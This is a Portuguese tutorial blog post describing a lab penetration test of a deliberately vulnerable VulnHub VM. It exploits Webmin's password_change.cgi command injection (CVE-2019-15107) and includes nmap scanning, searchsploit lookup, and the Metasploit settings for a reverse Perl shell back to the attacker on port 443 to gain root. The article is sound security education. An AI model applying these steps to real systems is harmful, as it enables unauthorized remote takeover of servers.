DEV Community

Cover image for Exploração de Vulnerabilidade
Guto Ribeiro
Guto Ribeiro

Posted on

Exploração de Vulnerabilidade

Aviso: Este artigo tem objetivo educacional, servindo de base para compreender como funciona a exploração de serviço vulnerável, dentro de um escopo de um pentest, utilizando ambiente controlado, sem exploração de um ambiente real.

Artigo postado originalmente no Linkedin em 20/04/2022. Aqui com algumas modificações.

1. Introdução

A área de segurança da informação vem ganhando maior visibilidade atualmente, mas os riscos e vulnerabilidades sempre existiram.

O objetivo deste texto é demonstrar uma prova de conceito (POC) de exploração de vulnerabilidade no serviço webmin, utilizano-se uma abordagem de pentest.

Um pentest (teste de intrusão em sistemas, em resumo) pode ser dividido em várias etapas, segundo alguns frameworks própios como o Information System Assessment Framework - ISSAF, Open Source Security Testing Methodology Manual - OSSTMM, O Testing Guide (OTG) da Open Web Application Security Project - OWASP, Penetration Testing Execution Standard - PTES e o NIST Thecnical Guide to Information Security Testing and Assessment 800-115.

Pode-se ilustrar etapas, de forma simplificada, conforme o diagrama abaixo:

Etapas de um Pentest

Na POC aqui demonstrada, será abordado até a etapa de exploração.

2. Execução da POC

O que foi utilizado para a realização da POC:

O vulnhub é um site onde é possível realizar o download de Virtual Machines (VMs) que possuem vulnerabilidades. Isso é útil para estudo em ambiente controlado.

Após configurar as VMs, vamos à execução.

2.1. Obtendo informações

Antes de mais nada, pode-se testar a VM vulnerárel. Essa VM contém um site, para simular uma situação real, como se fosse de fato um servidor disponibilizando um site. Para validar, pode-se acessar em um navegador o endereço IP da VM para ver se aparece algo:

Abrindo o site da VM vulnerável

No lab da POC, a VM vulnerável está configurada com o IP 192.168.56.125. Logo, basta acessar no navegador o endereço http://192.168.56.125.

ATENÇÃO: Aqui cabe um alerta, sempre que for executar uma VM sabidamente vulnerável, nunca execute-a com configurações de rede que permitam a comunicação com sua rede real. No caso do Virtual Box, é bom consultar a documentação sobre as configurações de redes possíveis em uma VM.

Para quem já tem um pouco mais de experiência, de pronto já reconhece que o site é feito utilizando o Wordpress. Mas mesmo quem não tem essa percepção, pelo próprio inspecionador do Browser, pode-se obter alguma pista. Mas vamos partir do entendimento que não se saiba, uma das formas de descobrir é pelo próprio Kali, utilizando a ferramenta whatweb:

Saída do comando whatweb

Na saída do comando whatweb, são exibidas algumas informações úteis, por exemplo, "Worpress[5.2.3]". Adicionalmente, pode-se verificar o alvo com a ferramenta wpscan, que é um scanner de vulnerabilidades específico para Wordpress, mas não é o foco dessa POC.

Ainda como obtenção de informações, podemos utilizar o Nmap para identificar portas abertas e serviços no host alvo.

sudo nmap -sV -p- -v -Pn 192.168.56.125

Em que:
-sV -> Identificar os serviços e versões que estão com portas abertas;
-p- -> Escanear todas as 65536 portas
-v -> Modo verboso, mostrar mais informações no terminal
-Pn -> Não utilizar o ICMP (ping)

A saída do comando nmap:

Saída do comando nmap

Observam-se algumas portas abertas, dentre elas a 10000/tcp, sendo identificado o serviço Webmin executando nesta porta, que é o serviço a ser explorado no escopo desta POC. Percebe-se, também, que a versão do Webmin é a 1.890.

Atenção: O Nmap é uma ferramenta que causa muito "ruído" na rede, tornando-o facilmente detectável em um ambiente que tenha o mínimo de maturidade em segurança da informação. Existem formas de tentar torná-lo mais discreto (Stealthy, na linguagem técnica da área), mas como aqui demonstrato, trata-se de um ambiente controlado, não se teve tal preocupação.

Resultados da etapa de Obtenção de Informações:

  • Site utilizando Wordpress 5.2.3;
  • Apache Web Server 2.4.25;
  • vsftpd 3.0.3
  • OpenSSH 7.4
  • Sistema Operacional Linux (possivelmente um GNU/Debian);
  • Portas abertas: 21/tcp - ftp, 22/tcp - ssh, 80/tcp - http e 10000/tcp - ssl/http.

Com o executado até aqui, ressalta-se que as operações executadas, não são a única forma de se obter as informações, existem outras maneiras, como: uso de comandos nativos de qualquer GNU/Linux, ferramentas web, etc.

3. Identificação e Verificação de Vulnerabilidades

Na etapa anterior, foram identificados vários serviços que podem ou não ter uma vulnerabilidade, proporcionando uma exploração/ataque. Para essa demonstração, será mantido apenas o escopo de exploração do Webmin. Entretanto, o que será demonstrado pode facilmente ser aplicado para os demais serviços, com as devidas proporções e ajustes.

De posse das informações obtidas, pode-se facilmente realizar uma pesquisa no próprio google por "webmin exploit" ou em ferramentas e sites especializados. Um site bem utilizado é o Exploit DB. Através dele é possível verificar a existência de um exploit para determinada versão de um serviço, no nosso caso, o Webmin 1.890.

Para quem ainda não conhece o termo, um exploit é uma aplicação, uma quantidade de dados ou mesmo uma sequência de comandos que exploram uma determinada vulnerabilidade. É possível desenvolver um exploit ou mesmo consultar nas bases de dados especializadas, como citdado anteriormente.

Após algumas pesquisas na internet, constata-se que existe uma a CVE-2019-15107, conforme o próprio link, "An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.". Será essa a CVE a ser explorada na POC.

O interessante é que não foi necessário executar nenhuma ferramenta de verificação de vulnerabilidades, a exemplo, OpenVAS. Apenas com informações obtidas na primeira etapa, foi possível localicar vulnerabilidade e exploit na própia internet.

Uma outra forma de procurar exploits é através do próprio Kali, usando o comando searchsploit, conforme a figura abaixo:

Saída do comando searchsploit webmin

4. Exploração

Há algumas formas e técnicas para exploração. Será utilizado na demonstração, o framework Metasploit. Através deste framework, pode-se desenvolver e utilizar exploits. Ele é uma ferramenta bastante utilizada em testes de invasão.

Será realizada na demonstração, a tentativa de exploração usando o exploit listado na linha "Webmin 1.900 - Remote Command Execution (Metasploit) | cgi/remote/46201.rb", conforme a imagem da saída do comando searchsploit webmin.

4.1. Abrindo o Metasploit no Kali

Basta digitar o comando msfconsole, estando como usuário root. Após executar o comando, o terminal terá a saída, conforme imagem abaixo:

4.2. Buscando dentro do Metasploit

Através do próprio prompt do Metasploit é possível realizar uma busca por webmin, através do comando search webmin:

Buscando por exploit no msfconsole

Será utilizado:
"5 exploit/linux http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor"
Pois, foi a vulnerabilidade encontrada está relacionada ao CGI (CVE-2019-15107).

4.3. Ativando o exploit

Para ativar, basta usar o comando use 5:

Definindo o payload

Após a ativação do exploit, para exibir as opções basta digitar options.

Options do exploit

Com o comando info, é possível listar informações adicionais.

4.4. Configurando o exploit para inicar o ataque

O payload já veio configurado, conforme a linha Payload options (cmd/unix/reverse_perl), exibido na imagem anterior. Em alguns caso, é necessário configurar isso.

Para evitar uma eventual inconsitência na execução do exploit, devido a versão do webmin, visto que o alvo tem uma versão um pouco diferente da que o exploit foi desenvolvido para explorar, configura-se o force exploit. Assim, basta executar o comando set _forceexploit true_.

Definindo forceexploit como true

Em seguida, precisa-se configurar o remote host (o alvo), através do comando set rhost IP_DO_ALVO:

Definindo o rhosts

Lembre-se que as opções do que pode ou não ser configurado, são exibidas através do comando options do msfconsole.

Agora, configura-se o local host (o atacante), através do comando set lhost IP_DO_ATACANTE:

Definindo o lhost

O IP 192.168.56.127 é o ip configurado no host atacante, Kali.

Para confirmar o que já está configurado, basta digitar o comando options novamente.

Exibindo as opções todas configuradas

Como RPORT já está a porta correta (10000), não precisamos configurar a porta remota (alvo).

A LPORT (porta local, atacante) está configurada como 4444. Pode-se configurar uma porta mais baixa para tentar não ser bloqueado por um firewall, utilizando uma porta 443/tcp - https (set lport 443), por exemplo. Além disso, é necessário habilitar o ssl com o comando set ssl true.

Como foi utilizada a porta 443/tcp no lport (porta no host atacante), é importante confirmar se não existe nenhum serviço "up" usando essa porta no host atacante.

4.5. Efetivando a exploração

O que será executado é um shell reverso, ou seja, ao invés do atacante abrir uma conexão com o alvo, o alvo abrirá uma conexão com o atacante, fornecendo um shell (terminal), por isso o nome shell reverso (reverse shell). Esta é uma técnica muito utilizada, pois, eventualmente, um firewall pode está configurado de modo a ser mais permissivo para saída.

Revere Shell

Para executar, basta digitar o comando run:

Run exploit

Na imagem acima, já é percebido que o alvo conectou no atacante, abrindo um shell reverso. Foram executados os comandos: id, whoami e ls -l /etc/passwd.

Exploração feita com sucesso!

5. Considerações finais

Essa exploração é considerada básica e fácil, até mesmo pelo fato do shell reverso já ser aberto com o usuário root, o que indica uma má configuração no servidor alvo. Se tivesse sido usado um usuário de serviço com permissões limitadas (princípio do menor privilégio possível) e sem shell habilitado, a exploração poderia oferecer maior esforço, pois teria de se buscar outra vulnerabilidade que permitisse a abertura de uma sessão de shell reverso assim como necessidade de a escalação de privilégios para o usuário root.

Ficou evidenciado, também, uma falha que foi a de permitir saída para internet no host alvo. Isso não é recomendado, porém em alguns casos, existem regras permissivas de saída, por necessidade do negócio. Como o ataque usou uma porta baixa (443/tcp), que é a porta https, isso pode ter facilidado a exploração. Inclusive, os atacantes mais experientes não usam portas altas para receber conexões reversas, pois sabem que normalmente a porta 443 ou mesmo a 80, costumam está com a saída liberada.

Mesmo sendo um ambiente controlado, é provável que existam ambientes em produção configurados dessa forma e com a vulnerabilidade que teve a exploração demonstrada aqui.

Claro que se pode, perfeitamente, questionar: Mas alguém colocaria um webmin aberto pra internet? Mesmo que não, um servidor rodando o webmin com essa vulnerabilidade pode ser explorado em um ataque lateral, em que, por exemplo, se "ganha" um outro servidor e por uma falta de segregação de redes, consegue-se explorar o host que tem o webmin vulnerável.

Cabe destacar, também, que foram utilizadas ferramentas com o intuito de automatizar e facilitar a análise do alvo e posterior exploração. Entretanto, um profissional deve ter conhecimento do que está sendo feito, afinal, ferramentas se aprendem ou se desenvolvem, mas o conhecimento que se tem sobre a área é o que diferencia o profissional no mercado. Assim, recomenda-se aprofundar os estudos, estudar o código do exploit usado, ler sobre a CVE explorada, etc. Antes de qualquer ferramenta, vem o conhecimento.

Heroku

Build apps, not infrastructure.

Dealing with servers, hardware, and infrastructure can take up your valuable time. Discover the benefits of Heroku, the PaaS of choice for developers since 2007.

Visit Site

Top comments (0)

Sentry image

See why 4M developers consider Sentry, “not bad.”

Fixing code doesn’t have to be the worst part of your day. Learn how Sentry can help.

Learn more